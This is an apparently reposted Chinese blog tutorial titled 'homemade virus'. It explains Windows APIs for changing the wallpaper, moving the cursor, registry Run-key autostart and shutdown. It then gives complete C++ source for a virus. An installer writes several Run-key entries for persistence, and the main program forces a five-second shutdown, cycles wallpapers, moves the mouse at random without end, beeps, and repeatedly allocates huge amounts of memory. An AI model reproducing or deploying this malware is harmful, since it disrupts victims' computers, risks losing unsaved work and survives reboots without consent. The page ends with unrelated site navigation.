自制病毒——控制桌面鼠标以及开关机
自制病毒——控制桌面背景鼠标以及开关机
代码 : Github
目录
一 理论知识
1.1 修改桌面背景方法
在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo
该函数也可以在设置参数中更新用户配置文件,这个函数还有很多其它功能,比如获取桌面工作区的大小。
BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);
uiAction:该参数指定要查询或设置的系统级参数。其取值如下;
SPI_GETACCESSTIMEOUT:检索与可访问特性相关联的超时段的信息,PvParam参数必须指向某个ACCESSTIMEOUT结构以获得信息,并将该结构中的cbSjze成员和ulParam参数的值设为sizeof(ACCESSTIMEOUT)。 SPI_GETACTIVEWINDOWTRACKING:用于Windows 98和Windows NT 5.0及以后的版本。它表示是否打开活动窗口跟踪(激活该窗口时鼠标置为开状态),pvParam参数必须指向一个BOOL型变量(打开时接收值为TRUE,关闭时为FALSE)。 SPI_GETACTIVEWNDTRKZORDER;用于Windows 98和Windows NT 5.0及以后版本。它表示通过活动窗口跟踪开关激活的窗口是否要置于最顶层。pvParam参数必须指向一个BOOL型变量,如果要置于顶层,那么该变量的值为TRUE,否则为FALSE。 SPI_GETACTIVEWNDTRKTIMEOUT:用于Windows 98和 Windows NT 5.0及以后版本。它指示活动窗口跟踪延迟量,单位为毫秒。pvParam参数必须指向DWORD类型变量,以接收时间量。 SPI_GETANIMATION:检索与用户活动有关的动画效果。pvParam参数必须指向ANIMATIOINFO结构以接收信息。并将该结构的cbSize成员和ulParam参数置为sizeof(ANIMATIONINFO)。 SPI_GETBEEP:表示警告蜂鸣器是否是打开的。pvParam参数必须指向一个BOOL类型变量,如果蜂鸣器处于打开状态,那么该变量的值为TRUE,否则为FALSE。 SpI_GETBORDER:检索决定窗口边界放大宽度的边界放大因子。pvParam参数必须指向一个整型变量以接收该值。 SPI_GETDEFAULTINPUTLANG:返回用于系统缺省输入语言的键盘布局句柄。pvParam参数必须指向一个32位变量,以接收该值。 SPI_GETCOMBOBOXANIMATION:用于Windows 98和Windows NT 5.0及以后版本。它表示用于组合柜的动打开效果是否允许。pvParam参数必须指向一个BOOL变量,如果允许,那么变量返回值为TRUE,否则为FALSE。 SPI_GETDRAGFULLWINDOWS:确定是否允许拖拉到最大窗口。pvParam参数必须指向BOOL变量,如果允许,返回值为TRUE,否则为FALSE。对于Windows 95系统,该标志只有在安装了Windows plus!才支持。 SPI_GETFASTTASKSWITCH:该标志已不用!以前版本的系统使用该标志来确定是否允许Alt+Tab快速任务切换。对于Windows 95、Windows 98和Windows NT 4.0版而言,快速任务切换通常是允许的。
更多
uiParam:uiParam 在参数说明中所有为ulParam均为错误。
这个参数值设为true即可。
pvParam:与查询或设置的系统参数有关。关于系统级参数的详情,请参考uiAction参数。否则在没有指明情况下,必须将该参数指定为NULL。
在修改背景图片时为图片信息,PVOID类型。
fWinlni:如果设置系统参数,则它用来指定是否更新用户配置文件(Profile)。亦或是否要将WM_SETTINGCHANGE消息广播给所有顶层窗口,以通知它们新的变化内容。该参数可以是0或下列取值之一:
SPIF_UPDATEINIFILE:把新的系统参数的设置内容写入用户配置文件。 SPIF_SENDCHANGE:在更新用户配置文件之后广播WM_SETTINGCHANGE消息。 SPI_SENDWININICHANGE与 SPIF_SENDCHANGE一样。
返回值
如果函数调用成功,返回值非零:如果函数调用失败,那么返回值为零。
1.2 控制鼠标方法
控制鼠标坐标的方法同样也时调用一个API,GetCursorPos和SetCursorPos
GetCursorPos用于获取鼠标句柄
#include<stdio.h> #include<windows.h> int main() { POINT p; GetCursorPos(&p); return0; }
SetCursorPos用于移动鼠标
在使用GetCursorPos获取鼠标句柄之后,可以调用SetCursorPos移动鼠标,它的两个参数分别是x轴和y轴。
函数原型:BOOL SetCursorPos(int X,int Y); 参数: X:指定光标的新的X坐标,以屏幕坐标表示。 Y:指定光标的新的Y坐标,以屏幕坐标表示。 返回值:如果成功,返回非零值;如果失败,返回值是零,若想获得更多错误信息,请调用GetLastError函数。 备注:该光标是共享资源,仅当该光标在一个窗口的客户区域内时它才能移动该光标。
1.3 开机自启动方法
注册表
开机自启动的实现方法就是通过注册表实现,在注册表中有固定的开机自启程序设置位置
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run; HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
在这几项中有我们电脑中的开机自启动程序信息,
例如这个WeChat就是开机时的微信登录程序。
注册表读写方法
RegCreateKey
// 打开注册表 LONG WINAPI RegCreateKey( _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _Out_ PHKEY phkResult );
hKey
指向当前打开表项的句柄,或者是下列预定义保留句柄值之一,实际上就是注册表中的几个分支。
lpSubKey
指向一个空终止的字符串指针,指示这个函数将打开或创建的表项的名称。这个表项必须是由hKey参数所标识的项的子项
phkResult
这是一个返回值,指向一个变量的指针,用来接受创建或打开的表项的句柄。当不再需要此返回的注册表项句柄时,调用RegCloseKey函数关闭这个句柄。
RegSetValueEx
// 读写注册表 LONG RegSetValueEx( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, CONST BYTE *lpData, DWORD cbData );
hKey
一个已打开项的句柄,或指定一个标准项名
lpValueName
指向一个字符串的指针,该字符串包含了欲设置值的名称。若拥有该值名称的值并不存在于指定的注册表项中,则此函数将其加入到该项。如果此值是NULL,或指向空字符串,则此函数为该项的默认值或未命名值设置类型和数据。
Reserved
保留值,必须强制为0
dwType
指定将被存储的数据类型,该参数可以为
REG_BINARY 任何形式的二进制数据 REG_DWORD 一个32位的数字 REG_DWORD_LITTLE_ENDIAN 一个“低字节在前”格式的32位数字 REG_DWORD_BIG_ENDIAN 一个“高字节在前”格式的32位数字 REG_EXPAND_SZ 一个以0结尾的字符串,该字符串包含对环境变量(如“%PAHT”)的未扩展引用 REG_LINK 一个Unicode格式的带符号链接 REG_MULTI_SZ 一个以0结尾的字符串数组,该数组以连接两个0为终止符 REG_NONE 未定义值类型 REG_RESOURCE_LIST 一个设备驱动器资源列表 REG_SZ 一个以0结尾的字符串
lpData
指向一个缓冲区,该缓冲区包含了欲为指定值名称存储的数据。
cbData
指定由lpData参数所指向的数据的大小,单位是字节。
1.4 关机方法
Windows 系统自带一个名为Shutdown.exe的程序,可以用于关机操作(位置在WindowsSystem32下),一般情况下Windows系统的关机都可以通过调用程序 shutdown.exe来实现的,同时该程序也可以用于终止正在计划中的关机操作。
shutdown-a 取消关机 shutdown -s 关机 shutdown -f 强行关闭应用程序 shutdown -m \\计算机名 控制远程计算机 shutdown -i 显示“远程关机”图形用户界面,但必须是Shutdown的第一个参数 shutdown -l 注销当前用户 shutdown -r 关机并重启 shutdown -s -t 时间 设置关机倒计时 shutdown -h 休眠
二 实现
2.1 修改桌面背景代码
图片信息使用了一个PVOID数组,并通过一个for循环不断切换桌面背景。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ PVOID s[10] = { (PVOID)"D:\\windows\\system32\\bin\\background.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" , ... (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background9.jpg" }; SystemParametersInfo(20, true,s, 1) ; for(int i=0;i<10;i++){ SystemParametersInfo(20, true,s[i], 1) ; Sleep(1000);//控制时间间隔 } return 0 ; }
2.2 控制鼠标代码
利用随机数和while死循环达到鼠标不受控制疯狂随机移动的功能。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ POINT sb; srand((unsigned)time(NULL)); GetCursorPos (&sb);//获取鼠标坐标 while(1){ SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标 Sleep(1);//控制移动时间间隔 } return 0 ; }
2.3 开机自启动代码
ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);
第二个参数是项名称,第五个参数是要开机启动程序的路径位置,最后一个参数是第五个参数路径字符长度。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TCHAR p[64] ; long ret; ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey); if(ret==ERROR_SUCCESS){ ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主 if(ret==ERROR_SUCCESS){ // 写入成功 }else { // 写入失败 cout << "Write filed !" ; } }else { // 注册表打开失败 cout << "Read error !" << endl ; } return 0 ; }
2.4 关机代码
这个功能实现比较简单。
#include<stdio.h> #include<windows.h> int main(){ // 五秒关机 system("shutdown -s -t 5"); return 0 ; }
三 代码
3.1 注册程序,将病毒主体加入开机自启动
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TCHAR p[64] ; long ret; ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey); if(ret==ERROR_SUCCESS){ ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主 ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要动作 ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//监控实时变化 if(ret==ERROR_SUCCESS){ // 写入成功 }else { // 写入失败 cout << "Write filed !" ; } }else { cout << "Read error !" << endl ; } return 0 ; }
3.2 病毒主体,在上方代码实现开机自启动之后,这段代码可以不断修改壁纸,控制鼠标以及关机。
#include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ POINT sb; PVOID s[10] = { (PVOID)"D:\\windows\\system32\\bin\\background.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background2.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background3.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background4.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background5.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background9.jpg" }; srand((unsigned)time(NULL)); system("shutdown -s -t 5"); SystemParametersInfo(20, true,s, 1) ; GetCursorPos (&sb);//获取鼠标坐标 int i = 0 ; while(1){ int *p = (int*)malloc(10000000000) ; printf("\a"); SystemParametersInfo(20, true,s[i], 1) ; if(i>=9){ i = 0 ; } SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标 Sleep(1);//控制移动时间间隔 } return 0 ; }
四 参考
Github地址 : Github

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
8月16日云栖精选夜读 | 加码投资亚太市场,阿里云区域第一优势明显
8月15日,在新加坡举办的Infinity 2018阿里云亚太峰会上,新加坡国立大学(NUS)宣布与阿里云合作推进新加坡“智慧国计划”和创新孵化器项目。双方将为年轻的科学家和技术人才提供云计算技术支持,为创业者提供向全球投资人展示其创意的平台。 热点热议 加码投资亚太市场,阿里云区域第一优势明显 作者:阿里云头条 发表在:云栖学习小组 全球发布!阿里云Serverless Kubernetes全球免费公测 作者:阿里云头条 发表在:云栖学习小组 Aliware直播培训新高度,赋能阿里专有云 作者:中间件小哥 发表在:阿里云分布式应用服务 知识整理 RocketMQ 的保险丝| Sentinel 如何通过匀速请求和冷启动来保障服务的稳定性 作者:中间件小哥 发表在:阿里云分布式应用服务 springMVC原理 作者:壹玖 手动为Kubernetes Worker节点添加实例角色 作者:初扬 服务化改造实践(一)| Dubbo + ZooKeeper 作者:中间件小哥 发表在:阿里云分布式应用服务 算法之树(二,B+树、哈夫曼树、堆、红黑树)(Java版)-持续更新补充 作者:kissjz...
- 下一篇
Java编程——优秀程序员(请看这141条你有没有)
让我们面对现实,每个开发人员都希望个人的技术能力以及团队协同能力可以随着时间的推移不断得到提高。但大多数开发者都会提出的一个重要且关键性的问题:如何才能做到这一点呢?接下来,本文作者以自身的开发经验分享在编程时作为开发者应该牢记的 142 条忠告,以成为更好的程序员。 代码外观 1、关于代码布局的讨论越多,越有可能陷入没有结果的争辩中。众所周知的争论有 TAB 键与空格缩进的争论,以及大括号要不要另起一行的争论等。 2、良好的代码格式不一定是你觉得最漂亮的那个。良好的格式是更易于浏览和阅读的代码格式。 3、良好的代码外观揭示了代码的意图。这不是一项艺术工作。 4、我们需要通过良好的外观避免出现代码错误。不是为了表现我们可以创造漂亮的 ASCII 艺术。 5、虽然我们写的代码是通过计算机执行的,但却要给人类阅读。 6、如果有人想写清晰的风格,那么首先让他弄清楚自己的想法。 7、选择一种布局样式,然后坚持使用这种样式,或采用编码标准或样式指南。 8、如果你正在处理的文件不符合项目其余部分的布局约定,那么请遵循该文件中的布局约定。 命名 9、良好的命名具有描述性、正确性和惯用性。 10、如果...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- CentOS7,CentOS8安装Elasticsearch6.8.6
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- SpringBoot2整合Redis,开启缓存,提高访问速度
- CentOS7设置SWAP分区,小内存服务器的救世主
- CentOS7,8上快速安装Gitea,搭建Git服务器
- CentOS7安装Docker,走上虚拟化容器引擎之路
- CentOS关闭SELinux安全模块
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装